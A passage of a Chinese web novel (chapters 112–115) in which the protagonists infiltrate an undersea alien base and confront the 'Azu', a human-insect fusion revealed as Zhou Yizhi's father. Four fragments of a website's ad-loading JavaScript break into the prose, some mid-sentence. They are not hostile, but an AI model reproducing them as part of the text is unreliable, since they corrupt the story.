虽然沈千峻平时的回复也并不很热烈,顾深浅却能明显感觉到他此时的心不在焉。 金色小脑袋横到他眼前:“你怎么了?” 他似乎刚回过神,薅了一把她头顶:“没事。” 顾深浅眯起眼:“你在想什么?” 沈千峻似乎勾了勾唇:“想你。” “……” 他在顾深浅锲而不舍的目光中投降,笑意跟着淡去:“你觉不觉得,刚刚在岸上,出现在周亦知背后的那道黑色,有点眼熟?” 顾深浅毫不意外地接道:“是不是觉得和我精神领域里那一坨很像?” 沈千峻脸色却不怎么好看:“看他的样子,是把自己的力量存储,或者干脆献祭给了那里面的黑东西。” “不,是那道黑色主动吸食了他。” 112. 行动(二) “陈希。” 周亦知人瘫在墙上,衣服被海水浸湿,发丝都在滴着水,从里到外的狼狈,唇角却勾着讥讽的弧度:“早该想到是你。” “嗯?”陈希半蹲下来平视他,胳膊肘个搁在膝盖上,“什么是我?” 当然是同时监控着顾深浅和我的眼睛。 周亦知在学生时代就凭着种族优势发现了藏在人堆里的π星生物,而对方果然也如他所料地潜伏在他身边。 在这场无声的博弈中,他失去了对自己最好的人。 为了不再连累他最后的亲人,他和顾深浅划清了一切干系,无论在外人还是顾深浅看来,他们都再没有来往。 他有多关注顾深浅的近况,只有他自己知道。 π星生物关于重伤顾深浅的命令也算是为他关注顾深浅的讯息提供了一个名正言顺的借口。而在这个过程中,他发现顾深浅自从外公去世后闭塞得可怕,几乎没有一丁点向外社交,她甚至没有搬去和爸爸妈妈一起住,平时最常来往的人是她爸爸顾明朗。 就这么一个极简社交专注科研的学生,π星动她的动机是什么? 周亦知想不明白,他借着任务需要更深地去探查顾深浅,却发现他想看的材料基本都有,从顾深浅步入曼大开始,各类信息可以说是越来越全。 就像是有人在盯着她,并时不时汇报这些信息一样。 一如他们当年对待他。 “没什么。” 周亦知扶着边墙撑起身体,艰难地立正后无声地吐了口气,看上去就像个几乎动不了的人在逞能。 而眼前的观众也确实没有要搭把手的意思。 陈希似笑非笑地看着他一步步走到沈千峻边上,随手捞起沈千峻的一条腿拖着向前,颓丧的动作里莫名其妙夹杂了些许潇洒的意味。 拽得二五八万似的。 真把自己当少爷了。 陈希抬起下巴,对着他的背影说:“你不问问我,在这里干什么?” 周亦知头也没回:“关我屁事。” 黑暗里,小金脑袋没骨头似的枕在沈千峻怀里咯咯笑:“他真不是我亲舅舅吗?活脱脱的一家人。” 沈千峻浑然没在意自己的身体遭受了什么对待,甚至连余光都没给一个,表情肃穆地说:“话别说一半。” 顾深浅换了个舒服的姿势:“你当时没感觉到吗?就像人类在生死关头时拼命挣扎的本能一样,虽然是周亦知主动召唤了那道黑色,但精神元素是从他身上剥离的。起初也许不明显,但后来,他大概为了制造复活后重伤的假象有点太用力了,自己残余的精神元素到了临界值的时候,每一颗精神元素都在本能地抗拒,而每一寸骨头,都在抑制着挣扎。” “合理准备,不算太用力。织梦的‘致死梦’下没人能活过来,我也是头一回见到活的。他需要快速让虫子消除怀疑,这个状态是最好的。” 沈千峻顿了顿,眯起眼看着画面里的陈希:“但你这位导师,倒确实在我意料之外。” 顾深浅跟他注视着同一个方向,声音轻得几乎听不见:“谁不是呢。” 陈希抱臂站在原地,望着周亦知路都走不稳的背影,没有上前帮忙的意思,只在他身后说:“周博士,你去哪儿?” 周亦知踉跄的身形顿了顿,发出了不耐烦的啧声:“关你屁事。” 陈希微微勾唇,若隐若现透着轻蔑:“阿祖要见你。” 周亦知皱起眉。 沈千峻掌心按在顾深浅同时皱起的眉心:“怎么?” 顾深浅摇摇头:“我从没在陈教授脸上见过这样的表情。” “你记忆里的陈教授是什么样的?” “一位严肃的学者?也不是,教授职业病很重,对所有人要求都很高,对自己的要求更高,但对普通人非常宽容。我印象里的教授,不像是会和异族合作的人。” “对普通人非常宽容?” 顾深浅同时想到了什么,蓦地回过头,二人目光交汇,她在沈千峻眼中得到了答案。她别过脸,五脏六腑拧成了一股,她压下汹涌而来的反胃,目光灼灼地盯着画面。 陈希看起来比周亦知更熟悉这个巨大而空旷的海底建筑,他挥挥手,沈千峻的身体上浮,定格在周亦知肩膀的高度。 他走到最前面停住,半侧首打量了一眼随时就要倒下的周亦知,当时那副似笑非笑的模样:“这趟辛苦了,周博士,请跟我来吧。” 还是那样若隐若现的嘲意。 周亦知不怒反笑:“行啊。” 二人一路穿过挑高高不见顶的建筑往下,沿路遇到硕大的π星生物在见到他们时都会微微匍匐,像是在参拜。 可惜π星生物个头太大,和两个人形物种差别悬殊,一时判断不出他们是在拜谁。 “应该是周亦知。”沈千峻说,“陈希托起我的身体时用的是自己的精神力。他应该是纯粹的人类。” 顾深浅不太想讨论这个问题,于是说:“我觉得阿祖这个称呼有点耳熟。” 她顿了顿,“这个地方也很眼熟。” “这地方除了本体在海底,跟你留下的海底实验室可一点都不一样。”沈千峻说,“一看就是虫子待的地方。” “π星生物不需要水,厌恶潮湿,讨厌蓝色。很难想象他们会把核心基地建在这里。”顾深浅说,“我看了科研组对海朝府事件的报告,地下通道的部分提到,靠近北部沙丘区域的地道,活动范围和生活痕迹都相较海朝府重得多,结论也认为他们更喜欢干燥区域。这个基地不太符合他们的生物习性。” “确实是这样,不过……”沈千峻问,“讨厌蓝色是哪看出来的?” 顾深浅一愣。 “科研组的每篇报告我都会看,我确信他们的报告里没提到过这个。”他说,“你为什么会得出这个结论?” 是啊,她为什么会觉得π星生物讨厌蓝色? 她望着沈千峻的眼里闪过一丝迷茫。 沈千峻双指抬起她的下巴,蛊惑似的轻声问:“你想起什么了?” 想起…… 恼人的虫鸣仿佛又在她耳边回响,而每一句虫鸣的含义,她都能听懂。 ——小不点,我今天看到星空了; — (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' —只要你乖乖的,我不会启动执行程序的; 顾深浅潜意识的恐惧再次席卷,一片漆黑的领域里,大幅的画面蓦地开始频闪。在肉眼不可见的地方,沈千峻能感受到有什么防御正在松动。 与此同时,周亦知眼底过一丝错愕,走在前面的陈希仿佛也察觉到了什么,脚步蓦地停下。 “看着我,浅浅。”沈千峻捧着她的脸,厉声说,“看着我。” 顾深浅木然地被他固定着脸,耳边仍回荡着她能听懂的语言,像是虫鸣和某种机械男声的结合,她眼中写满了不知所措。 ——你会记得我吗? ——再见了,小不点。 “浅浅,醒一醒。” 沈千峻皱起眉。 他们现在所处的是顾深浅利用领域和融合技能叠加出来的空间,这片据说能封闭人类精神力的场所对顾深浅来说一点阻碍都没有。他和顾深浅现在能独立精神体在这儿潜伏,依赖的都是顾深浅的这个领域。 而现在顾深浅心神动荡,呼唤不起作用,他的精神力也不能擅动。 她必须靠自己清醒过来,稳定领域,否则异常波动必然被捕捉,届时…… 沈千峻目光决绝。 至少要让她活着离开。 他低下头。 陈希环视四周,除了前面微微匍匐着向他们行礼的巨大生物,什么都没有发现。 他狐疑地回过头,周亦知立定在他身后,旁边漂浮着的是沈千峻的尸体,没有任何能量波动。 周亦知不耐烦道:“干什么?” 唇齿间传来轻柔的湿糯,像是某种内蕴沉重的诀别,顾深浅没来由地慌张。她来不及多想,张开双臂扑向前方。 紫色精神体分明没有能量波动,可在她贴上去时,却又仿佛能无比清晰地听见他的心跳,感受他的体温,一切都显得那么真切,轻而易举地就足以将她的惶恐打败。 耳边的虫鸣声慢慢淡下去,频闪也终于停止。 万籁俱寂时,顾深浅听见了那道男声: ——我一点都不想去你来的那颗星; ——我不喜欢蓝色。 “你有没有……”陈希话说了一半,又好像感受到什么,表情迷惑了一瞬,又古怪地四周观望。 周亦知口气不善:“有没有什么?” “不……没什么。” 陈希回过身继续往前,仿佛什么都没发生过。 周亦知挑挑眉,暗自松了口气,脸色却比刚才更差。 黑色的领域里,顾深浅猛地吸一口气,声音逐渐发颤:“不是π星生物讨厌蓝色!是那个!那个启动我脑子里的执行程序的人!不,不是人!是那个,是……” 沈千峻揽过她的肩,手掌温柔而耐心地落在她的背脊,安抚着:“我知道,我知道。不着急,慢慢说。” “我不记得,我完全忘记了,是好久好久之前……刚出生时候,我听到的。”顾深浅颤声说,“我听到的……虫鸣。” 她全部想起来了。 关于那晚梦魇的全部细节,那些潜藏在她脑海深处的,遥远的记忆。 113. 行动(三) π星,π星生物,都是源自地球天文界在太空探索时期的编号,03141星球。 而在这类生物的本土文明中,他们有着自己的名字——缇雅。 意味着永恒。 缇雅一族寿命漫长,体积庞大,战力极强,濒死时睁开的眼睛对生物有着极强的捕杀效果。而在他们的种族内部,有着森严的等级制度。 他们信奉能引领种族延续的人为强者,将最强的领导人物称之为“阿祖”,对“阿祖”有着最崇高的敬重。 秦宓怀着孕时登上π星,被扣在这座陌生星球时,她最大的牵绊和软肋,都是当时还在腹中的安安。 这点不止秦宓自己知道,当时缇雅的阿祖也知道。 虽然秦宓看似配合地给缇雅一组上课,按他们的要求进行实验,可在这条未知赛道上,任何缇雅人都无法干预她的进度,连她所言的真假都必须再三求证。 要控制住秦宓,最好的方式就是地球人类最在意的骨血。 安安脑中的执行程序,隐秘得连秦宓都不知道。 人类的生物学是地球人带来的,是秦宓在缇雅的学院里一点点给这些庞然大物讲的。 而他们的首个实践对象,就是秦宓新生的女婴。 当时的阿祖把程序启动权交在他的创作者手上,是出于何种考量,现在已未可知。但即使在秦宓送她走的时候,程序也未经启动过。 第一次也是唯一一次启动的命令,就是要她杀了当时所向披靡的战神沈千峻。 对方就好像知道安安身上藏着多么强大的能量,好像知道她造成的伤害,沈千峻不可违逆,必死无疑。 执行程序启动,安安也不可违逆。 对方没料到的是,死亡之后,还有新生。 周亦知带着沈千峻的“尸体”跟陈希走了一路,早已穿过了他潜伏多时才得以参与内廷会议的会议室,再往里的每一步都是他不曾到过的地方。 而陈希在这里畅通无阻。 单就外观而言,这里和外面并没有什么不一样的,但周亦知刚踏进分割线时就感受到了,差别在生物防御系统。 这座海底基地的搭建至今仍是未解的谜。 在深海搭建这样一座庞大的建筑,项目难度和工程量对于人类而言几乎不可能实现,对于缇雅一族来说也同样。 这个种族对水源有着生理性厌恶,会把核心基地建在这儿,大概也是为了躲避特监处而做出的无可奈何的决定。 周亦知为数不多能确定的是,从最外层开始,里面一切的身份认证都是仰赖于缇雅一族的基因序列。所有牵扯到人类的生物实验也全部设立在了其他地方,这里完全隔绝了一切人类进入的可能性。沈千峻理应是第一个,也是唯一一个混进来的。 可是这个陈希…… “你好像有很多疑问。”走在前面的陈希微微侧身,“怎么?” 周亦知对他的敏锐有些意外,挑眉否认:“你想多了。” “最好是。”陈希说,“好心劝你一句,有什么想问的你最好现在问我,阿祖不喜欢蠢的。” “呵。”周亦知轻笑,“你好像很了解。” “不必试探。”陈希颇具深意地说,“如果你当初选择的是阿祖,现在或许才真能说得上了解。” 周亦知彻底黑了脸:“你了解得不少。” 陈希极轻地笑了一下:“看见前面那扇门了吗?阿祖就在里面等你。你再不问,可没机会了。” 周亦知望着前方和过道别无二致的墙面,冷漠地说:“我没什么想问的。” “是吗?那还真可惜。” 陈希话这么说,却听不出什么可惜的意味。 他停下脚步,对着周亦知眼中的墙面抬起手,最后看了他一眼:“可惜,阿祖听不见了。” 那眼神很怪,像是得逞,又像是解脱,还有更多的东西,被他的主人藏在了更深的地方。 周亦知来不及辨认,高耸的墙面已经在他面前分裂出平滑的切割线,移出一道巨大的拱门,做了视角遮蔽处理,从外望进去只能看到一片漆黑。 “请进吧,少爷。” 他冷冷看了陈希一眼,毫不犹豫地走了进去,沈千峻的尸体紧跟着飘在他身后。 陈希站在原地,沉默地望着沈千峻的脚最后消失在暗色里,墙壁恢复原状,而他一点点扬起唇。 顾深浅和沈千峻人在暗处,目光如炬地盯着唯一亮起的画面。 随着周亦知一步步进入,里面的场景在他和领域中的二人面前揭开。 体育场般空旷的空间里,意外地没有出现一些巨型制品,入目所及是大片大片冷白和零星的黑色家具,是顾深浅见过的,除了沈千峻之前的房间外最为“极简”的地方。 而真正让她觉得不对劲的地方在于,里面的所有家具,都是人类惯用的尺寸。 她蹙眉问:“你见过这位阿祖吗?” “没有,这里的一切我都是第一次见。”沈千峻说,“不过我猜,这位阿祖应该就是周亦知的父亲。” 顾深浅一怔。 不等她说话,跟着周亦知的视角转了个弯,正对着里间唯一的沙发上,一个男人的背影。 顾深浅蹙起的眉头加深。 π星的阿祖,怎么会是个人类? 而且……总觉得很熟悉。 周亦知抬手贴上漂浮着的沈千峻背部,腕部用力。 下一秒,沈千峻的身体被扔到沙发前。 周亦知经过一路休养恢复的精神力全用在了这一抛,然而这里连个能让他落座稍憩的地方都没有。他干脆靠着大白墙,不耐烦地开口:“喂,你要的人。” “你总是给我惊喜。” 男人的声音传来的一瞬,沈千峻瞳孔猛震。 顾深浅听到的要更多一些,除了人声,还有虫鸣。 沙发上,男人放下手里依然盛满水的杯子站起身,他没有去看地上的沈千峻,反而转过来望向周亦知,“但下次邀请客人来,最好先跟我说一声。” 周亦知心下一咯噔。 顾深浅则是错愕地看着眼前的……生物。 从背后看他坐着的背影,和人类男性一模一样。而当他站起来时,下身是四条粗壮的虫腿,长着无数细长的眼神,遍布着数 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不清的凸起,就像是被压缩成人类长度的虫腿。 他上身套着裁剪得当的黑色西装和衬衣,连领带都打得一丝不苟,单看上半身,他活像个人类男性中的绅士。 前提是忽略那张恐怖的脸。 他的脸上已经看不出一丝人类五官的痕迹,满满覆盖着的都是坚硬的黑色虫壳,上面长满了圆形凸起。 约莫是人脸鼻尖的位置,绽开了一道长条的白色,里面挤着六粒黑色的圆形。 那是人类的眼珠。 顾深浅生理不适得,不断反胃,恶心得浑身发颤。她下意识抓住沈千峻的手,敏锐地发现身边的人没有回握住她。 她奇怪地望去,发现沈千峻眼中的惊愕不比她少。 她还是第一次见他对她以外的事露出这副模样。 顾深浅手指插入他的指缝,两只手紧紧扣在一起。 沈千峻很快回过神,朝她摇了摇头。 顾深浅知道他的意思。 他们谁也没来过这里,连眼前这位“阿祖”的物种都分辨不明,稍有不慎就很可能被察觉。 ……或者,已经被察觉了。 周亦知已经看习惯了,端得四平八稳:“什么客人?沈千峻不是你点名要的吗?” “阿祖”来到周亦知面前,虫腿摩擦地面的声音引得顾深浅头皮发麻,握着沈千峻的手又抓紧了一些。 “沈千峻是杀不死的。就算身体和精神体同时覆灭,他也能在漫长岁月里自愈。如果身体还在,他的精神体重聚也就是一会儿工夫的事。”阿祖的声音和虫鸣一起同时传来,“你带回了他的身体,那么,他的精神体去哪儿了?” “我怎么知道?”周亦知没好气地说,“半路出了岔子,我差点死外面你不知道?拖着一口气把人给你带回来,你这是干什么?怀疑我?” “我不会怀疑你,好孩子。”阿祖说,“我是在告诉你,你带了尾巴回来。” 他说:“既然来了,不露面吗?” 沈千峻和顾深浅对视一眼,他手掌按住要往前的顾深浅,轻轻摇了摇头,在她掌心飞速下了两个字:藏好。 顾深浅抿唇。 这不是他们说好的计划。 沈千峻知道她心思一般,皱起的眉头舒展开来,冷厉的五官沾上一层柔和的色彩。 他低下头,飞快地亲吻她眉间的海浪。 没有任何能量波动,没有任何语言交流,他只是这样安静地看着她,就足够让她明白他的意思。 金色精神体一点点化作金色元素,越来越淡,直至全部消散在黑暗里。 紫色元素铺开,覆盖了视线里的所有黑色,沈千峻才从画面中步出,走近自己的身体。 大幅的能量波动不加掩饰地降落,周亦知面露惊讶,阿祖很快收回了自己的视线,看向波动的源头。 沈千峻趴在地上的身体睁开眼,无人看见的角落,他的眼底金色一闪而过。他起身望去,无可避免地对上了那一长条眼睛。 阿祖抽象的脸上看不出神情,声音里却好似带着笑意:“好久不见。” 沈千峻面无表情:“好久不见。” 114. 行动(四) 阿祖:“你能认出我,倒让我很意外。” 沈千峻挑眉:“现在这副尊容确实不太好认,可声音还是一样的。” 身后,周亦知似乎终于站不动了,也可能觉得没他什么事儿,干脆顺着大白墙坐下,一只胳膊肘搭在膝盖上,另一条伸出去老远,拇指搓着指尖,一副看戏的模样。 阿祖:“你见到我,好像也没有被吓到。” “吓到?”沈千峻唇角勾起,眼底却冷淡,“有被恶心到。” 虽然说得冷淡,却不带任何嫌恶。 他的视线落在阿祖身上:“为什么” 周亦知掀起眼帘,也望向了阿祖寻常人类一样的背影。 阿祖却没有回答:“你以什么身份在问?” “老朋友。”沈千峻说,“如果你曾经当我是的话。” 虫鸣和话语声同时停下,空气一时静谧下来。 周亦知挑了挑眉。 “这样啊。”蜂鸣夹杂着话语声再次响起,“可我从没当你是朋友。当年认你做朋友的,只有老金一个。所以他最后才会有那样的下场。” 沈千峻分明还是那样冷淡的表情,周身气质却倏地染上厉色:“你竟然还敢跟我提他。” 老金正是一头金发的亨博士。 他是沈千峻还是超自然进化项目的志愿者时就十分关照他的一位长者,是玖安回到地球后的启蒙者之一。 也正是在这层渊源下,玖安救了他偷偷参加何博士实验的儿子孟飞扬,救了他重疾缠身的女儿。 沈千峻才因此有了徐飞扬作为他牢不可破的盾,才能维系云汉1号的运转,让地球隐匿宇宙二百年。 亨博士和他的妻子孟岚躲过了π星入侵,却因为维护沈千峻,最终死在了人类同胞手里。 而他一直当作挚友的何博士,在生物研究所的内部调查中,亲手为他写上罪名成立的结论,是压垮亨博士的最后一根稻草。 “他是因你而死的,沈、将、军。” 蜂鸣声幽幽,像是一种致命的蛊惑,脸上狭长的眼眯成了缝,眼珠乌泱泱挤满一排,下半身露出的圆形凸起不知何时张开了不起眼的缝。 周亦知手指微微一动,又很快恢复了原状。 快得转瞬即逝,没有任何能量波动。 紫色不知何时在沈千峻的周身围起,泛出若隐若现的半透明波动,将阿祖的催眠抵挡在外,又很快消失在空气里。 沈千峻始终神色清明:“你只有这点手段吗?” “你比我想得更强。”阿祖冷静地收了手,“才刚死过一次,就能在隔绝人类、元素匮乏的海底这么快恢复精神力,不愧是战神。既然这样,输给这小子,也是你故意的吧?” “你要见我,派人来请我,我当然会来。” “来了之后呢?你想做什么?” “那要看你请我来想做什么。”沈千峻说,“博士,你是还想再解剖我一次吗?” 他话音刚落,周亦知发出了一声不小的“咚”声,伴随着“斯哈”一声痛呼。 阿祖一条虫腿上的分支抬起伸到背后,两个凸起掀开,乌黑的眼珠盯着周亦知。 换了别人大概早已头皮发麻,周亦知揉着胳膊肘翻了个白眼:“看什么?墙太硬。我说,你俩叙旧没问题,那话能不能说清楚点?” “你不是在自己身上进行物种转化实验,最终失败的缇雅族吗?沈千峻为什么叫你‘何博士’?”他直视着阿祖细长肢节上的两颗眼珠质问,“你到底是谁?” “我是缇雅的阿祖,是你的父亲,我的孩子。” 阿祖忽然发出了桀桀怪笑,男人的声音和蜂鸣声同时响起,周亦知不知道是不是自己力竭后的错觉,竟恍惚在这怪笑声里听到了女人的哭声。 “我从未骗过你。” “没有任何伪装成人的缇雅族能逃过织梦和沈千峻的眼睛。他称呼你博士,只能说明至少当时,你是人类。毕竟,缇雅族不会奉人类为阿祖。”周亦知条理清晰地说,“所以,你到底是个什么东西?” 沈千峻挑眉,意味不明的目光落在周亦知身上。 阿祖:“你是最聪明的孩子,不如自己猜猜。” 周亦知紧紧盯着他,答案在唇边呼之欲出。 “他既不是人,也不是你所谓的缇雅族。” 沈千峻说:“两百年前,一半的他是地球人类生物研究所的高级科学家,大家尊称他何博士,主要负责人类的超自然进化项目。早年间,怀着孕妻子在太空探索中失去了行踪,从那之后,他的实验研究理念就越来越极端。另一半,我不认识,不过看起来,像是个非常标准的……缇雅族?” 阿祖:“他有一句话说得很对,沈千峻。确实没有一个缇雅组能逃过你的眼睛。” “过奖。” “不对。”一直沉默着的周亦知忽然开口,“不是一半一半。” 他放下胳膊肘,死死地盯着阿祖外貌笔挺的背影,滚烫的目光恨不得把那件西装烧出个洞。他一字一顿地说:“是,三分之一。” 阿祖半个身子猛地扭过,上半身的西装露了个角,沈千峻的角度能看到其中露出部分。小块乳白色覆膜一般地盖在刚硬的黑色虫甲上方,在上衣遮盖的缝隙边缘,又悄无声息隐于黑色内。 这样的动作暴露了他的惊讶和其他被掩藏起来的情绪,就连沈千峻也同时怔在了原地。 周亦知对着他扭曲的脸面色不改,唯独瞳孔幽如潭水,深不见底,说出的话森然可怖: “你把她吞噬了,是不是。” 阿祖的脸看不出表情,也没有问她是谁。而这一时的静默也恰似默认,烧断了周亦知脸上的平静。 他手掌撑地站起来,直起身时不慎稍稍往前踉跄,可即使形容狼狈,他的双眼也始终盯着眼前的“阿祖”。 “你到底,是那位博士,是缇雅,还是……”他咬牙念出了最后一个重音,“她?” 依然没有得到回答,周亦知说:“你不回答,是要我自己看吗?” 他的一句话不知怎么刺激到了阿祖,下半身的虫腿和上面数不清的分支骤然间疯狂舞动,全身的圆形凸起同时掀开,数不清的眼睛睁开。 刺耳的蜂鸣声一齐炸开,听在周亦知耳中宛如哀鸣。 他知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道答案了。 是他的母亲。 周亦知垂眸呆在原地,精神体虚弱得一碰就碎,没有任何防护。 沈千峻的防御结界倒是第一时间围起了,只是薄弱程度和周亦知半斤八两。 他这几天加固城防接连消耗的精神力比起上次在顾深浅精神领域里打得那一架只多不少,他的状态很差。 按照原计划,在到达基地时周亦知就会用他的精神力给徐飞扬传递位置和留言,先锋队会进行清剿。 原计划中,沈千峻只需要在这期间伪装成假死的模样,隐匿精神体,一边观察π星基地的模样一边恢复他的力量,等先锋队到达了里应外合,就能从源头剿灭地球上最后虫子。 然而为了让π星不起疑,周亦知将精神力几乎全部献祭。 现在,从顾深浅隔绝一切的领域里出来的沈千峻也无法确认,先锋队有没有收到消息了。 幸运的是意外不止周亦知一个,顾深浅的状况也在他的意料之外。 然而一波未平一波又起,事情发展持续跟他的设想发生偏差。 别的不说,眼前的塑料队友周某,现在连防御圈都不记得给自己了。 啧。 π星生物发狂时的鸣叫是杀伤力最高的攻击,穿透伤,幻象,催眠都有可能发生,不论敌友。 周亦知虽然是半个π星生物,但也没到能免疫的程度,何况是现在这么个半残废状态。 这结界只能靠他自己。 沈千峻如果在这时候出手,那就不是周亦知误打误撞带回了死而复生的沈千峻这么简单。 眼前这位物种不明但立场鲜明的阿祖会立刻确认,他的儿子背叛了他。 而就他和周亦知这彼此彼此的虚弱状态,要是现在就在这里动起手,实在没什么胜算。 可如果他不出手,周亦知也没有给自己搭建防御结界的话…… 周亦知就好像听不见这刺耳的鸣叫,他直直地看着阿祖的方向,飞舞的虫脚在挥散着,无差别地打向各处。 好像察觉到他的视线,乱舞的虫足突然有了方向。分支们汇聚成一股,无限延伸似的朝周亦知奔涌而来。 沈千峻眯起眼。 电光石火间,冲到周亦知面前的虫脚蓦地停在原地,蜂鸣声一并停下。 空旷而高大的室内一时间静得可怕。 不知过了多久,虫脚开始往后退,阿祖渐渐平静下来。虫脚连带着各处分支回归原位,仿佛回到了周亦知刚进来时候的样子。 唯独不同的是,他脸上那只狭长的眼睛紧闭着,一直没有睁开。 他好像很痛苦。 周亦知这样想,又向前进了一步。 他好像听到了很微弱的哭声,可当他细听时,声音仿佛飘在天上,恍惚在耳边,始终捕捉不到。 他不自觉地又进了一步。 眼皮在这个时候突然掀开,而刚才包含了六颗眼珠的眼睛里,此刻只剩下了两颗。 周亦知终于真切地听到了那个声音。 没有任何鸣叫声包围的,单纯的女声: “对不起,好孩子。” 115. 行动(五) 周亦知瞳孔放大,身体下意识前进,一步一步地走向女声的方向。 似人非人似虫非虫的怪物落在他眼中愈发长成了人的形态。 裸露在外的虫腿俨然已经成了人类的双腿;身上不再是西装革履,而是一条简单却不失优雅的白裙子;脸上不再是可怖的一条眼睛,黑色虫甲褪去,露出人类细嫩的皮肤,在这纯白的大背景下显得冷而圣洁。 这点冷在女人慈祥的神情下被奇迹般中和,她脸上的笑容无疑是周亦知最大的温暖。 然而就在他不断靠近,就要触碰到女人之时,闪耀的金色在他眼前炸开。周亦知被刺得睁不开眼,下意识抬手挡住,感到一股力量强硬地把他往后推了一大步。 不多时,他感到那光芒淡去,尝试着睁眼时,哪里还有什么女人的身影。 阿祖依然是那副模样,六颗眼珠上蹿下跳地盯着他的方向,沈千峻站在另一边,脸色黑得可怕。 而他的身前,站着一个瘦弱却坚挺的背影。 顾深浅。 阿祖的声音再次响起,依然是那道男声,依然伴随着缇雅族交流时的蜂鸣:“终于见到你了。” “39号。” “啧。”顾深浅不笑的时候整个人都显得冷淡,一啧声,莫名透着淡淡的嘲讽,“精神文明时代发展至今,我已经很久没听过用代号称呼别人的了,您还挺复古。请问我该怎么称呼您?” 【认不出我了吗?小不点。】 鸣叫声再次响起,却听不见人声。 无人在意的角落,沈千峻脸更黑了。 他听不懂。 “没人跟你说过吗?这个称呼真的很恶心。”顾深浅嗤笑,“你接触的人类应该也不少了吧?我看你捏出来催眠周亦知的女人就很逼真,看得出来,你很了解她。” 【也许因为那并不是捏出来的,那就是她本人。】鸣叫声还在继续,【她确实就在这具身体里。】 顾深浅陈述道:“她是你的妻子。” 【妻子?这是你们人类才有的说法。不如说,她是我的实验助手。】 周亦知握紧了拳头。 如果不是顾深浅的威压压着他,他说不定已经冲上去了。 “你利用她为你生孩子,仅仅是为了实验吗?” 【仅仅?】 【小不点,你不明白。】 【这是缇雅一族种族延续的最后机会。】 “我确实不明白。” 顾深浅说:“你和自己最看不上的人类融为一体,深入人类的生活,和人类恋爱、结婚、生子。在暴露身份后眼睁睁看着她自焚,却又在她死后吞噬了她的精神领域,让她永远只能困囿在你的身体里。” “你说,这一切只是为了缇雅一族的延续。” “你自己不觉得可笑吗?” 【可笑吗?只有她在我的身体里,她的孩子才会选择缇雅。现在看来这个决定很明智,不是吗?】 周亦知突然打断了他们:“别说了。” 他以为他已经不会因为亲缘血脉感到痛苦了。 然而并不是。 “我也不是很明白你。”周亦知说,“你利用她生下我,为了你所说的种族繁衍,那刚才呢?你利用她迷惑我,又是为了什么?” “你想要我的命吗?” 这一次回应他的不单单是虫鸣,还有刚才的男声:“当然不是,我的孩子。只是客人不愿意露面,我总要想想办法。” “呵。” 周亦知冷笑。 以前利用他的母亲生下他,现在利用母亲迷惑他,把他架在刀上骗顾深浅出来。 眼前这个不明物种明明那么懂人类的情感与软肋,却总是做着最冰冷无情的选择。 顾深浅离他很近,敏锐地察觉到了周亦知的情绪变化。她微微偏过身挡住他,对着阿祖说:“你是怎么察觉到我的?” “察觉不到。”阿祖说,“只是我实在想不通,如果没有帮手,沈千峻是怎么在这里隐匿起自己的精神体的,所以试了试。” 蜂鸣里的男声带着笑意,阿祖意有所指地说:“发现是你,我很高兴。” “没完没了。”沈千峻冷冷地说。 一道紫色猝不及防地射去,落在了阿祖的虫脚近旁,只差毫厘就能割到他的腿。 可这毫厘之中,挡着的却是沈千峻也始料未及的屏障。 “这么着急就动起手了。”阿祖说,“沈将军,你还有多少力气?” 沈千峻皱眉。 周亦知的情报实在烂。 截至他们进入前,收到的信息都是基地会隔绝人类的精神力,所有精神人类在这里都会变成普通人。 也正因如此,他才敢在实施计划前将力量都用于城防加固。 然而事实上,不仅在进来的通道上,陈希大咧咧地用着精神力,沈千峻在这里露面开始,精神力都没受到压制。 可他的力量也一直没有恢复。 不仅没有,每次似乎都比平时消耗得更多。 更糟糕的是,他们的敌人似乎对这个情况早有预料。 阿祖也不吝解惑:“这座基地用的都是曼巴蒂芬金属打造,这种金属形成的封闭空间下,完全可以隔绝人类的精神力。这点相信你们已经有所领教了,但这并不是这种金属的唯一用途。” 阿祖的眼珠子同时瞟向顾深浅:“你猜猜看,39号。” “这就是曼巴蒂芬金属原本的唯一用途。”顾深浅说,“但是两百年过去,曼巴蒂芬金属吸收了外来的力量并贮存在本体内。而你……利用人类的精神领域,研究出了控制这种金属的方法。” 她快速地扫了一眼沈千峻:“你利用曼巴蒂芬金属吸食了所有人的力量。” “你真是聪明。当年的你要是这么聪明,我一定不会放过你。”阿祖说,“所以我更好奇了,这由我掌控局面的地方,为什么连感知都感知不到你?” “巧了,我也很好奇。你又是怎么知道,我就是39号?” “你的力量和别人都不同,很好认。” “是吗?”顾深浅似笑非笑道。 看来这个阿祖了也没有她想得那么难对付。 他对她的力量同样一无所知。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这也可以确认,至少她精神领域里的黑洞和他没有关系。 至于他是怎么变成这样的…… 按照她的推测,当年受秦宓教育的这个π星生物,或者说缇雅族,在她脑中植入了执行程序,在他们撤离地球前启动,要她杀了沈千峻。 但他们没想到她杀了沈千峻后沈千峻还能死而复生。 卷土重来的缇雅族最终被沈千峻带领的精神人类重创,赶出了地球。 大部队虽然撤离,还有一部分留在了地球。他们也许是想探寻人类突然觉醒的力量,也许是另有别的谋划,但无论如何他们也没想到,地球会就此陷入封闭,他们彻底和母星断了联系。 他们回不了家了。 缇雅一族虽然长寿,但寿命也是有限的。 这二百年间他们也许尝试过无数种方法,却始终无法突破云汉一号,无法回到π星。更糟的是,随着同类一天天老去,他们发现自己似乎无法在地球上完成繁衍。 这也就意味着,他们将彻底默默无闻地死在地球上。 或许正是和这位何博士的融合给了他灵感,让他把繁衍的主意打到了地球人身上。在一筹莫展之际,他认为诞下周亦知的实验是缇雅一族种族延续的最后机会。 如果是这样,周亦知应该是他捧在手心的香饽饽才对。 可就顾深浅知道的,他们并不信任周亦知,他们反复考察他,甚至可能都不想带他一起回到母星。 为什么? 繁衍实验如果成功,理应在这些仅剩的缇雅族间广泛推行,怎么会至今只有周亦知一个半人? 